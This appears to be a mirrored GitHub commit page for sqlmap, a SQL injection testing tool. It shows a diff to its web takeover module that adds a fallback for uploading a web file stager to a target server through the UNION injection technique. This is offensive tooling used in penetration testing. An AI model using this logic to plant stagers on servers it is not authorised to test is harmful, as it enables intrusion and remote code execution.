Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit dba0a96

Browse files
committed
fall-back to UNION technique if web file stager was not uploaded with LIMIT
1 parent a1d2a79 commit dba0a96

1 file changed

Lines changed: 16 additions & 3 deletions

File tree

lib/takeover/web.py

Lines changed: 16 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,7 @@
1414
from lib.core.agent import agent
1515
from lib.core.common import arrayizeValue
1616
from lib.core.common import Backend
17+
from lib.core.common import decloakToMkstemp
1718
from lib.core.common import decloakToNamedTemporaryFile
1819
from lib.core.common import extractRegexResult
1920
from lib.core.common import getDirs
@@ -238,16 +239,28 @@ def webInit(self):
238239
self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, stagerName))).replace("//", "/").rstrip('/')
239240

240241
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
241-
242242
uplPage = uplPage or ""
243243

244244
if "sqlmap file uploader" not in uplPage:
245245
warnMsg = "unable to upload the file stager "
246246
warnMsg += "on '%s'" % localPath
247247
singleTimeWarnMessage(warnMsg)
248-
continue
249248

250-
elif "<%" in uplPage or "<?" in uplPage:
249+
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
250+
infoMsg = "trying to upload the file stager via "
251+
infoMsg += "UNION technique"
252+
logger.info(infoMsg)
253+
254+
stagerDecloacked = decloakToMkstemp(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
255+
self.unionWriteFile(stagerDecloacked.name, self.webStagerFilePath, "text")
256+
257+
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
258+
uplPage = uplPage or ""
259+
260+
if "sqlmap file uploader" not in uplPage:
261+
continue
262+
263+
if "<%" in uplPage or "<?" in uplPage:
251264
warnMsg = "file stager uploaded on '%s', " % localPath
252265
warnMsg += "but not dynamically interpreted"
253266
logger.warn(warnMsg)

0 commit comments

Comments
 (0)